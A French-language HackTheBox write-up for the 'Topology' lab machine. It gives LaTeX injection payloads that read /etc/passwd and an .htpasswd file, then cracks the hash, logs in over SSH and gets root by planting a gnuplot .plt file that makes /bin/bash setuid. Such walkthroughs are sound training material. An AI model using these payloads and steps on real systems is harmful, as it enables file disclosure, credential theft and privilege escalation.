HackTheBox Writeup

Topology

Topology

Résumé rapide

Topology est une machine Linux (HTB) avec un service web exposant plusieurs virtual hosts. L'axe d'exploitation principal : une fonctionnalité de génération d'images LaTeX vulnérable à l'injection (LFI via LaTeX) qui permet de lire des fichiers sensibles (ex : /etc/passwd, /var/www/dev/.htpasswd). En combinant lecture de fichiers, cassage de hash et accès SSH, on obtient un utilisateur disposant d'un accès au système. Une surveillance/processus cron exécute régulièrement gnuplot sur des fichiers .plt dans /opt/gnuplot avec les privilèges root ; ce répertoire est inscriptible par l'utilisateur mais non lisible — placer un fichier .plt malveillant permet d'obtenir shell root lorsque gnuplot l'exécute.

Pré-requis / outils utiles

  • nmap, ffuf/feroxbuster — découverte services et vhosts
  • curl, wget, python3 — PoC, transfert de binaires
  • john / hashcat — craquage de hash (ex : .htpasswd apache)
  • pspy64 — détection des processus périodiques exécutés par root
  • nc (netcat) — listener reverse shell
  • gcc si besoin pour PoC local

Reconnaissance (extraits utiles)

  1. Scan basique :
nmap -sC -sV -T4 -oN nmap.initial topology.htb
  1. Ajouter les virtual hosts découverts dans /etc/hosts :
echo '10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.topology.htb' >> /etc/hosts
  1. Fuzz des virtual hosts pour découvrir sous-domaines :
ffuf -u http://topology.htb -H 'Host: FUZZ.topology.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs <size>

Découvertes principales

  • latex.topology.htb : service LaTeX → endpoint equation.php qui génère des images à partir d'équations. Faible filtrage contre certaines commandes LaTeX, permettant la lecture de fichiers.
  • dev.topology.htb : site protégé par HTTP Basic (fichier .htpasswd dans /var/www/dev/ accessible via LFI).
  • stats.topology.htb : page affichant des plots (charge du serveur), utile pour repérer gnuplot et la logique d'exécution.

Exploitation — LFI via LaTeX Injection

  1. Lire des fichiers (exemples de payload LaTeX) :
$\lstinputlisting{/etc/passwd}$
$\lstinputlisting{/var/www/dev/.htpasswd}$

Remarque : certains payloads courts permettent d'obtenir quelques lignes à cause d'une limitation d'input ; d'autres wrappers permettent de récupérer des fichiers complets.

  1. Récupérer le hash .htpasswd et le craquer :
echo -n '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Cela fournit généralement l'identifiant/ mot de passe pour dev.topology.htb (ex : vdaisley:calculus20). Ces mêmes credentials peuvent permettre une connexion SSH (ssh [email protected]).

Accès initial

  1. SSH en tant que vdaisley :
ssh [email protected]
  1. Rechercher fichiers intéressants et privilèges :
id
ls -la ~
sudo -l
find / -type f -perm -04000 2>/dev/null
getcap -r / 2>/dev/null

Escalade de privilèges (méthode principale observée)

  1. Détection du job périodique : transférer pspy64 et l'exécuter pour observer les commandes lancées par root :
wget https://github.com/DominicBreuker/pspy/releases/download/.../pspy64
# servir pspy64 depuis votre machine et récupérer sur la cible
python3 -m http.server 80
# sur la cible
wget http://<tun-IP>/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
  1. Observation : un script exécuté par root lance find /opt/gnuplot -name *.plt -exec gnuplot {} \; (ou commande équivalente) toutes les minutes. Le répertoire /opt/gnuplot est writable par l'utilisateur attaquant mais illisible.

  2. Exploitation : créer un fichier malicious.plt dans /opt/gnuplot contenant une commande shell qui sera exécutée par gnuplot en tant que root. Exemples d'approches :

  • écrire un .plt lançant un reverse shell vers votre listener (adapter IP/port)
  • OU écrire un .plt qui exécute system "chmod u+s /bin/bash" pour rendre /bin/bash setuid, puis lancer /bin/bash -p pour obtenir root.

Exemple (schématique) :

# sur votre machine
# créer malicious.plt avec la ligne adéquate (adaptez l'IP)
echo 'system "chmod u+s /bin/bash"' > malicious.plt
scp malicious.plt [email protected]:/opt/gnuplot/malicious.plt
# attendre l'exécution par la tâche périodique (~1 minute)
/bin/bash -p
  1. Après exécution, vérifier id et lire /root/root.txt.

Conseils et bonnes pratiques lors de la reproduction

  • Toujours tester d'abord en local sur un lab avant de reproduire les payloads sur une machine distante.
  • Adapter les chemins et IPs (ex : topology.htb, tun0 IP, port du listener).
  • Utiliser pspy64 pour confirmer la commande exacte exécutée par root (cela permet d'adapter la payload .plt au format attendu).

Conclusion

La chaîne d'attaque de Topology combine une LFI via injection LaTeX, le craquage d'un hash .htpasswd pour obtenir un compte utilisateur, puis l'abus d'un job root exécutant gnuplot sur des fichiers inscriptibles par l'utilisateur. La progression logique est : reconnaissance → LFI → récupération .htpasswd → craquage → SSH → observation avec pspy64 → dépôt d'un .plt malveillant → gain root.